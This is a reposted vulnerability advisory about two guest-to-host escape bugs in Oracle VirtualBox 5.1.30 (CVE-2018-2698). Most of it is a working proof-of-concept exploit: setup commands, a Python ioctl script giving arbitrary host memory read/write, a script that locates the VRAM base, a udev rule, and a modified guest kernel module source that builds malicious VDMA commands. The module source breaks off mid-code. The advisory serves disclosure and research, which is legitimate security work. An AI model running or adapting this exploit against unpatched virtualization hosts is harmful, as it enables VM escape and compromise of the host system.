Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863557968

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# SSD Advisory – Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities
Source: https://blogs.securiteam.com/index.php/archives/3649

## Vulnerabilities summary
The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1.

## Credit
An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Oracle were informed of the vulnerabilities and released patches to address them.

For more details: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html

CVE: CVE-2018-2698

## Vulnerabilities details
The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems.

provide an arbitrary read/write primitive in the userland VirtualBox host rocess, relative to the guest’s VRAM buffer.

The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory.

Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI).

Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features.

The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA.

## Out-of-bounds read/write in vboxVDMACmdExecBpbTransfer
The VBOXVDMACMD_DMA_BPB_TRANSFER command struct looks as follows (defined in include/VBox/VBoxVideo.h:1435):

```
    typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
    {
        uint32_t cbTransferSize;
        uint32_t fFlags;
        union
        {
            uint64_t phBuf;
            VBOXVIDEOOFFSET offVramBuf;
        } Src;
        union
        {
            uint64_t phBuf;
            VBOXVIDEOOFFSET offVramBuf;
        } Dst;
    } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;
```

When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.

On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:


```
    static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer)
    {
        // ...
        uint32_t cbTransfer = pTransfer->cbTransferSize;
        uint32_t cbTransfered = 0;
        // ...
        do
        {
            uint32_t cbSubTransfer = cbTransfer;
            if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET)
            {
                // [[ Note 1 ]]
                pvSrc  = pvRam + pTransfer->Src.offVramBuf + cbTransfered;
            }
            else
            {
                // ...
            }

            if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET)
            {
                // [[ Note 2 ]]
                pvDst  = pvRam + pTransfer->Dst.offVramBuf + cbTransfered;
            }
            else
            {
                // ...
            }

            if (RT_SUCCESS(rc))
            {
                memcpy(pvDst, pvSrc, cbSubTransfer);
                cbTransfer -= cbSubTransfer;
                cbTransfered += cbSubTransfer;
            }
            else
            {
                cbTransfer = 0; /* to break */
            }
            // ...
        } while (cbTransfer);

        if (RT_SUCCESS(rc))
            return sizeof (*pTransfer);
        return rc;
    }
```

Note 1 and 2: the guest-controlled offsets pTransfer->Src.offVramBuf and pTransfer->Dst.offVramBuf are added to the VRAM address, without any verification or bounds checks.

A memcpy is then performed with the guest-controlled size pTransfer->cbTransferSize.

This gives us a memcpy(VRAM + X, VRAM + Y, Z) primitive, where we (as the guest)can chose X, Y and Z arbitrarily.

## Out-of-bounds read/write in vboxVDMACmdExecBlt

The VBOXVDMACMD_DMA_PRESENT_BLT command struct looks as follows:


```
    typedef uint64_t VBOXVIDEOOFFSET;
    /* [...] */
    typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
    {
        VBOXVIDEOOFFSET offSrc;
        VBOXVIDEOOFFSET offDst;
        VBOXVDMA_SURF_DESC srcDesc;
        VBOXVDMA_SURF_DESC dstDesc;
        VBOXVDMA_RECTL srcRectl;
        VBOXVDMA_RECTL dstRectl;
        uint32_t u32Reserved;
        uint32_t cDstSubRects;
        VBOXVDMA_RECTL aDstSubRects[1];
    } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;
```

When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_PRESENT_BLT, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.

On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:


```
    static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer)
    {
        const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]);
        Assert(cbBlt <= cbBuffer);
        if (cbBuffer < cbBlt)
            return VERR_INVALID_FUNCTION;

        /* we do not support stretching for now */
        Assert(pBlt->srcRectl.width == pBlt->dstRectl.width);
        Assert(pBlt->srcRectl.height == pBlt->dstRectl.height);
        if (pBlt->srcRectl.width != pBlt->dstRectl.width)
            return VERR_INVALID_FUNCTION;
        if (pBlt->srcRectl.height != pBlt->dstRectl.height)
            return VERR_INVALID_FUNCTION;
        Assert(pBlt->cDstSubRects);  /* [[ Note 2 ]] */

        uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3;
        VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0};

        if (pBlt->cDstSubRects)
        {
            /* [...] */
        }
        else
        {
            /* [[ Note 1 ]] */
            int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc,
                    &pBlt->dstDesc, &pBlt->srcDesc,
                    &pBlt->dstRectl,
                    &pBlt->srcRectl);
            AssertRC(rc);
            if (!RT_SUCCESS(rc))
                return rc;

            vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl);
        }

        return cbBlt;
    }
```

At Note 1, the guest-controlled offsets pBlt->offDst and pBlt->offSrc I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch.

vboxVDMACmdExecBltPerform then performs a memcpy between the computed addresses:


```
    static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf,
                                        const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc,
                                        const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl)
    {
        /* [...] /*
        if (pDstDesc->width == pDstRectl->width
                && pSrcDesc->width == pSrcRectl->width
                && pSrcDesc->width == pDstDesc->width)
        {
            Assert(!pDstRectl->left);
            Assert(!pSrcRectl->left);
            uint32_t cbOff = pDstDesc->pitch * pDstRectl->top;
            uint32_t cbSize = pDstDesc->pitch * pDstRectl->height;
            memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize);
        }
        else
        {
            /* [...] /*
        }
        return VINF_SUCCESS;
    }
```

By setting pDstDesc->pitch = 1, pDstRectl->top = 0, we can get cbOff = 0 and cbSize = pDstRectl->height (which we also control as the guest).

This ends up in a call to memcpy(VRAM + X, VRAM + Y, Z), where we can chose X, Y and Z arbitrarily.

## Proof of Concept

We will modified vboxvideo kernel module to trigger the bug.

The modified module will allow us to creates a device /dev/vboxpwn which can be used to send arbitrary VBVA commands via its ioctl() handler.

In this PoC we will use 64-bit Ubuntu VM.

First we will download the VBoxGuestAdditions:


```
    $ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso
    $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt
    $ sudo /mnt/VBoxLinuxAdditions.run
```

Then we will upload the modified files – HGSMIBase.c and 70-vboxpwn.rules to the home directory of the VM and rebuild the extensions with the modified code:

```
    $ sudo cp 70-vboxpwn.rules /etc/udev/rules.d
    $ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo
    $ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec
    $ sudo additions/vboxadd setup
    $ sudo reboot
```

There should now be a new device called /dev/vboxpwn with 0666 permissions.

Now create the following Python script called poc.py:

```
    import os, fcntl, struct, array, sys

    fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR)

    # 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive
    read_type = 4
    write_type = 5

    def read(offset, size):
        data = ''
        data += struct.pack("<IIq", 4, size, offset)
        data += '\0'*size
        data = array.array('b', data)
        fcntl.ioctl(fd, len(data), data, 1)
        return data[16:]

    def write(offset, payload):
        data = ''
        data += struct.pack("<IIq", 5, len(payload), offset)
        data += payload
        fcntl.ioctl(fd, len(data), data)

    def get_vram_size():
        data = ''
        data += struct.pack("<IIq", 6, 0, 0)
        data += '\0'*4
        data = array.array('b', data)
        fcntl.ioctl(fd, len(data), data)
        return struct.unpack('<I', data[16:])[0]

    vram_sz = get_vram_size()

    import code
    code.interact(local=locals())
```

If we will run it on a Linux host we will get the following:

```
    $ python2 poc.py
    [...]
    >>> read(0, 0x10).tostring()
    'U,\\fU,\\fU,\\fU,\\f'
    >>> read(vram_sz, 0x10).tostring()
    '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    >>> read(-0x1000, 0x10).tostring()
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

The second read returns the header of the shared library mapped directly after the VRAM.

Of course we might crash the VM if we hit unmapped memory.

For demonstrating an absolute read/write, we need the VRAM base address on the host.

The findvram.py script find the VRAM base address – given the configured VRAM size.

In our case the VRAM is 33 MiB large.

The first argument is the PID of the host process (as shown above).

Also grab some absolute address you want to leak:

```
    $ sudo python2 findvram.py 23791 33
    VRAM @ 0x00007f1651c75000
    $ sudo cat /proc/23791/maps | grep libcurl | head -n 1
    7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634                    /usr/lib/libcurl.so.4.4.0
```

Back to the VM, we will read the ELF header of this library:

```
 $ python2 poc.py
    [...]
    >>> vram = 0x00007f1651c75000
    >>> read(0x7f168969c000 - vram, 0x10).tostring()
    '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```    

And now we will crash it by writing data to an unmapped address (make sure a debugger is attached):

```
>>> write(0x414141414141 - vram, 'BBBB')
```

The crash:

```
    Thread 7 "EMT" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f1680b8e700 (LWP 23801)]
    0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
    (gdb) x/1i $rip
    => 0x7f168a87172a <__memmove_avx_unaligned_erms+154>:   mov    %ecx,-0x4(%rdi,%rdx,1)
    (gdb) i r ecx rdi rdx
    ecx            0x42424242   1111638594
    rdi            0x414141414141   71748523475265
    rdx            0x4  4
```

findvram.py

```
import sys

if len(sys.argv) != 3:
    print 'Usage: sudo python2 findvram.py <pid> <VRAM size in MB>'
    print
    print 'Finds the VRAM page on a Linux host by inspecting /proc/<pid>/maps and '
    print 'looking for a properly sized map. Works best if an odd amount of VRAM is'
    print 'configured, like 33 MB instead of 32.'
    exit()

pid = int(sys.argv[1])
sz = int(sys.argv[2])*1024*1024

with open('/proc/%d/maps'%pid) as f:
    for line in f:
        start, end = [int(x,16) for x in line.split()[0].split('-')]
        if end-start == sz:
            print 'VRAM @ 0x%016x - 0x%016x' % (start, end)
```

70-vboxpwn.rules

```
KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666"
```

HGSMIBase.c

```
/* $Id: HGSMIBase.cpp $ */
/** @file
 * VirtualBox Video driver, common code - HGSMI initialisation and helper
 * functions.
 */

/*
 * Copyright (C) 2006-2016 Oracle Corporation
 *
 * This file is part of VirtualBox Open Source Edition (OSE), as
 * available from http://www.virtualbox.org. This file is free software;
 * you can redistribute it and/or modify it under the terms of the GNU
 * General Public License (GPL) as published by the Free Software
 * Foundation, in version 2 as it comes in the "COPYING" file of the
 * VirtualBox OSE distribution. VirtualBox OSE is distributed in the
 * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
 */

#include <VBox/VBoxVideoGuest.h>
#include <VBox/VBoxVideo.h>
#include <VBox/VBoxGuest.h>
#include <VBox/Hardware/VBoxVideoVBE.h>
#include <VBox/VMMDev.h>

#include <iprt/asm.h>
#include <iprt/log.h>
#include <iprt/string.h>

#include <linux/printk.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

/** Send completion notification to the host for the command located at offset
 * @a offt into the host command buffer. */
static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt)
{
    VBoxVideoCmnPortWriteUlong(pCtx->port, offt);
}


/**
 * Inform the host that a command has been handled.
 *
 * @param  pCtx   the context containing the heap to be used
 * @param  pvMem  pointer into the heap as mapped in @a pCtx to the command to
 *                be completed
 */
DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx,
                                          void *pvMem)
{
    HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem);
    HGSMIOFFSET offMem = HGSMIPointerToOffset(&pCtx->areaCtx, pHdr);
    Assert(offMem != HGSMIOFFSET_VOID);
    if(offMem != HGSMIOFFSET_VOID)
    {
        HGSMINotifyHostCmdComplete(pCtx, offMem);
    }
}


/** Submit an incoming host command to the appropriate handler. */
static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx,
                                HGSMIOFFSET offBuffer)
{
    int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pCtx->channels, offBuffer);
    Assert(!RT_FAILURE(rc));
    if(RT_FAILURE(rc))
    {
        /* failure means the command was not submitted to the handler for some reason
         * it's our responsibility to notify its completion in this case */
        HGSMINotifyHostCmdComplete(pCtx, offBuffer);
    }
    /* if the cmd succeeded it's responsibility of the callback to complete it */
}

/** Get the next command from the host. */
static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
    return VBoxVideoCmnPortReadUlong(pCtx->port);
}


/** Get and handle the next command from the host. */
static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
    HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx);
    AssertReturnVoid(offset != HGSMIOFFSET_VOID);
    hgsmiHostCmdProcess(pCtx, offset);
}


/** Drain the host command queue. */
DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
    while (pCtx->pfHostFlags->u32HostFlags & HGSMIHOSTFLAGS_COMMANDS_PENDING)
    {
        if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false))
            return;
        hgsmiHostCommandQueryProcess(pCtx);
        ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false);
    }
}


/** Detect whether HGSMI is supported by the host. */
DECLHIDDEN(bool) VBoxHGSMIIsSupported(void)
{
    uint16_t DispiId;

    VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID);
    VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI);

    DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA);

    return (DispiId == VBE_DISPI_ID_HGSMI);
}


/**
 * Allocate and initialise a command descriptor in the guest heap for a
 * guest-to-host command.
 *
 * @returns  pointer to the descriptor's command data buffer
 * @param  pCtx     the context containing the heap to be used
 * @param  cbData   the size of the command data to go into the descriptor
 * @param  u8Ch     the HGSMI channel to be used, set to the descriptor
 * @param  u16Op    the HGSMI command to be sent, set to the descriptor
 */
DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                        HGSMISIZE cbData,
                                        uint8_t u8Ch,
                                        uint16_t u16Op)
{
#ifdef VBOX_WDDM_MINIPORT
    return VBoxSHGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
#else
    return HGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
#endif
}


/**
 * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc.
 *
 * @param  pCtx      the context containing the heap used
 * @param  pvBuffer  the pointer returned by @a VBoxHGSMIBufferAlloc
 */
DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                     void *pvBuffer)
{
#ifdef VBOX_WDDM_MINIPORT
    VBoxSHGSMIHeapFree (&pCtx->heapCtx, pvBuffer);
#else
    HGSMIHeapFree (&pCtx->heapCtx, pvBuffer);
#endif
}


/**
 * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc.
 *
 * @param  pCtx      the context containing the heap used
 * @param  pvBuffer  the pointer returned by @a VBoxHGSMIBufferAlloc
 */
DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                      void *pvBuffer)
{
    /* Initialize the buffer and get the offset for port IO. */
    HGSMIOFFSET offBuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvBuffer);

    Assert(offBuffer != HGSMIOFFSET_VOID);
    if (offBuffer != HGSMIOFFSET_VOID)
    {
        /* Submit the buffer to the host. */
        VBoxVideoCmnPortWriteUlong(pCtx->port, offBuffer);
        /* Make the compiler aware that the host has changed memory. */
        ASMCompilerBarrier();
        return VINF_SUCCESS;
    }

    return VERR_INVALID_PARAMETER;
}


/** Inform the host of the location of the host flags in VRAM via an HGSMI
 * command. */
static int vboxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                        HGSMIOFFSET offLocation)
{
    HGSMIBUFFERLOCATION *p;
    int rc = VINF_SUCCESS;

    /* Allocate the IO buffer. */
    p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx,
                                              sizeof(HGSMIBUFFERLOCATION),
                                              HGSMI_CH_HGSMI,
                                              HGSMI_CC_HOST_FLAGS_LOCATION);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->offLocation = offLocation;
        p->cbLocation  = sizeof(HGSMIHOSTFLAGS);
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    return rc;
}


/**
 * Inform the host of the location of the host flags in VRAM via an HGSMI
 * command.
 * @returns  IPRT status value.
 * @returns  VERR_NOT_IMPLEMENTED  if the host does not support the command.
 * @returns  VERR_NO_MEMORY        if a heap allocation fails.
 * @param    pCtx                  the context of the guest heap to use.
 * @param    offLocation           the offset chosen for the flags withing guest
 *                                 VRAM.
 */
DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                             HGSMIOFFSET offLocation)
{
    return vboxHGSMIReportFlagsLocation(pCtx, offLocation);
}


/** Notify the host of HGSMI-related guest capabilities via an HGSMI command.
 */
static int vboxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                 uint32_t fCaps)
{
    VBVACAPS *pCaps;
    int rc = VINF_SUCCESS;

    /* Allocate the IO buffer. */
    pCaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx,
                                       sizeof(VBVACAPS), HGSMI_CH_VBVA,
                                       VBVA_INFO_CAPS);

    if (pCaps)
    {
        /* Prepare data to be sent to the host. */
        pCaps->rc    = VERR_NOT_IMPLEMENTED;
        pCaps->fCaps = fCaps;
        rc = VBoxHGSMIBufferSubmit(pCtx, pCaps);
        if (RT_SUCCESS(rc))
        {
            AssertRC(pCaps->rc);
            rc = pCaps->rc;
        }
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, pCaps);
    }
    else
        rc = VERR_NO_MEMORY;
    return rc;
}


/**
 * Notify the host of HGSMI-related guest capabilities via an HGSMI command.
 * @returns  IPRT status value.
 * @returns  VERR_NOT_IMPLEMENTED  if the host does not support the command.
 * @returns  VERR_NO_MEMORY        if a heap allocation fails.
 * @param    pCtx                  the context of the guest heap to use.
 * @param    fCaps                 the capabilities to report, see VBVACAPS.
 */
DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                      uint32_t fCaps)
{
    return vboxHGSMISendCapsInfo(pCtx, fCaps);
}


/** Tell the host about the location of the area of VRAM set aside for the host
 * heap. */
static int vboxHGSMIReportHostArea(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                   uint32_t u32AreaOffset, uint32_t u32AreaSize)
{
    VBVAINFOHEAP *p;
    int rc = VINF_SUCCESS;

    /* Allocate the IO buffer. */
    p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx,
                                       sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA,
                                       VBVA_INFO_HEAP);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->u32HeapOffset = u32AreaOffset;
        p->u32HeapSize   = u32AreaSize;
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    return rc;
}


/**
 * Get the information needed to map the basic communication structures in
 * device memory into our address space.  All pointer parameters are optional.
 *
 * @param  cbVRAM               how much video RAM is allocated to the device
 * @param  poffVRAMBaseMapping  where to save the offset from the start of the
 *                              device VRAM of the whole area to map
 * @param  pcbMapping           where to save the mapping size
 * @param  poffGuestHeapMemory  where to save the offset into the mapped area
 *                              of the guest heap backing memory
 * @param  pcbGuestHeapMemory   where to save the size of the guest heap
 *                              backing memory
 * @param  poffHostFlags        where to save the offset into the mapped area
 *                              of the host flags
 */
DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbVRAM,
                                             uint32_t *poffVRAMBaseMapping,
                                             uint32_t *pcbMapping,
                                             uint32_t *poffGuestHeapMemory,
                                             uint32_t *pcbGuestHeapMemory,
                                             uint32_t *poffHostFlags)
{
    AssertPtrNullReturnVoid(poffVRAMBaseMapping);
    AssertPtrNullReturnVoid(pcbMapping);
    AssertPtrNullReturnVoid(poffGuestHeapMemory);
    AssertPtrNullReturnVoid(pcbGuestHeapMemory);
    AssertPtrNullReturnVoid(poffHostFlags);
    if (poffVRAMBaseMapping)
        *poffVRAMBaseMapping = cbVRAM - VBVA_ADAPTER_INFORMATION_SIZE;
    if (pcbMapping)
        *pcbMapping = VBVA_ADAPTER_INFORMATION_SIZE;
    if (poffGuestHeapMemory)
        *poffGuestHeapMemory = 0;
    if (pcbGuestHeapMemory)
        *pcbGuestHeapMemory =   VBVA_ADAPTER_INFORMATION_SIZE
                              - sizeof(HGSMIHOSTFLAGS);
    if (poffHostFlags)
        *poffHostFlags =   VBVA_ADAPTER_INFORMATION_SIZE
                         - sizeof(HGSMIHOSTFLAGS);
}


typedef struct VBOXVDMACBUF_DR
{
    uint16_t fFlags;
    uint16_t cbBuf;
    /* RT_SUCCESS()     - on success
     * VERR_INTERRUPTED - on preemption
     * VERR_xxx         - on error */
    int32_t  rc;
    union
    {
        uint64_t phBuf;
        VBOXVIDEOOFFSET offVramBuf;
    } Location;
    uint64_t aGuestData[7];
} VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR;

typedef struct VBOXVDMACMD
{
    VBOXVDMACMD_TYPE enmType;
    uint32_t u32CmdSpecific;
} VBOXVDMACMD, *PVBOXVDMACMD;

// Data structures for BPB_TRANSFER
typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
{
    uint32_t cbTransferSize;
    uint32_t fFlags;
    union
    {
        uint64_t phBuf;
        VBOXVIDEOOFFSET offVramBuf;
    } Src;
    union
    {
        uint64_t phBuf;
        VBOXVIDEOOFFSET offVramBuf;
    } Dst;
} VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;

// Data structures for PRESENT_BLT
typedef enum
{
    VBOXVDMA_PIXEL_FORMAT_UNKNOWN      =  0,
    VBOXVDMA_PIXEL_FORMAT_R8G8B8       = 20,
    VBOXVDMA_PIXEL_FORMAT_A8R8G8B8     = 21,
    VBOXVDMA_PIXEL_FORMAT_X8R8G8B8     = 22,
    VBOXVDMA_PIXEL_FORMAT_R5G6B5       = 23,
    VBOXVDMA_PIXEL_FORMAT_X1R5G5B5     = 24,
    VBOXVDMA_PIXEL_FORMAT_A1R5G5B5     = 25,
    VBOXVDMA_PIXEL_FORMAT_A4R4G4B4     = 26,
    VBOXVDMA_PIXEL_FORMAT_R3G3B2       = 27,
    VBOXVDMA_PIXEL_FORMAT_A8           = 28,
    VBOXVDMA_PIXEL_FORMAT_A8R3G3B2     = 29,
    VBOXVDMA_PIXEL_FORMAT_X4R4G4B4     = 30,
    VBOXVDMA_PIXEL_FORMAT_A2B10G10R10  = 31,
    VBOXVDMA_PIXEL_FORMAT_A8B8G8R8     = 32,
    VBOXVDMA_PIXEL_FORMAT_X8B8G8R8     = 33,
    VBOXVDMA_PIXEL_FORMAT_G16R16       = 34,
    VBOXVDMA_PIXEL_FORMAT_A2R10G10B10  = 35,
    VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36,
    VBOXVDMA_PIXEL_FORMAT_A8P8         = 40,
    VBOXVDMA_PIXEL_FORMAT_P8           = 41,
    VBOXVDMA_PIXEL_FORMAT_L8           = 50,
    VBOXVDMA_PIXEL_FORMAT_A8L8         = 51,
    VBOXVDMA_PIXEL_FORMAT_A4L4         = 52,
    VBOXVDMA_PIXEL_FORMAT_V8U8         = 60,
    VBOXVDMA_PIXEL_FORMAT_L6V5U5       = 61,
    VBOXVDMA_PIXEL_FORMAT_X8L8V8U8     = 62,
    VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8     = 63,
    VBOXVDMA_PIXEL_FORMAT_V16U16       = 64,
    VBOXVDMA_PIXEL_FORMAT_W11V11U10    = 65,
    VBOXVDMA_PIXEL_FORMAT_A2W10V10U10  = 67
} VBOXVDMA_PIXEL_FORMAT;

typedef struct VBOXVDMA_SURF_DESC
{
    uint32_t width;
    uint32_t height;
    VBOXVDMA_PIXEL_FORMAT format;
    uint32_t bpp;
    uint32_t pitch;
    uint32_t fFlags;
} VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC;

typedef struct VBOXVDMA_RECTL
{
    int16_t left;
    int16_t top;
    uint16_t width;
    uint16_t height;
} VBOXVDMA_RECTL, *PVBOXVDMA_RECTL;

typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
{
    VBOXVIDEOOFFSET offSrc;
    VBOXVIDEOOFFSET offDst;
    VBOXVDMA_SURF_DESC srcDesc;
    VBOXVDMA_SURF_DESC dstDesc;
    VBOXVDMA_RECTL srcRectl;
    VBOXVDMA_RECTL dstRectl;
    uint32_t u32Reserved;
    uint32_t cDstSubRects;
    VBOXVDMA_RECTL aDstSubRects[1];
} VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;


PHGSMIGUESTCOMMANDCONTEXT g_hgsmiContext;
char* g_vram;

typedef struct PwnRequest {
    uint32_t type;   // 1/4 == read, 2/5 == write, 3 == custom VBVA command,
                     // 6 == get VRAM size
    uint32_t size;
    uint64_t offset;
    char data[1];
} PwnRequest;

static long pwnIOCtl(struct file *pFilp, unsigned int uCmd, unsigned long ulArg) {
    printk("Handling ioctl()\n");
    uint32_t size = uCmd;
    PwnRequest* req = (PwnRequest*)ulArg;

    if (size < 16) {
        printk("Request buffer too small (is=%d)\n", size);
        return -EINVAL;
    }

    if (req->type == 1) {
        char *p;
        printk("Preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memset(p + header_size, 0x41, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;

        PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBlt->cDstSubRects = 0;
        pBlt->offSrc = req->offset;
        pBlt->offDst = p - g_vram + header_size;

        pBlt->srcRectl.width = 1;
        pBlt->srcRectl.height = req->size;
        pBlt->srcRectl.left = 0;
        pBlt->srcRectl.top = 0;

        pBlt->dstRectl.width = 1;
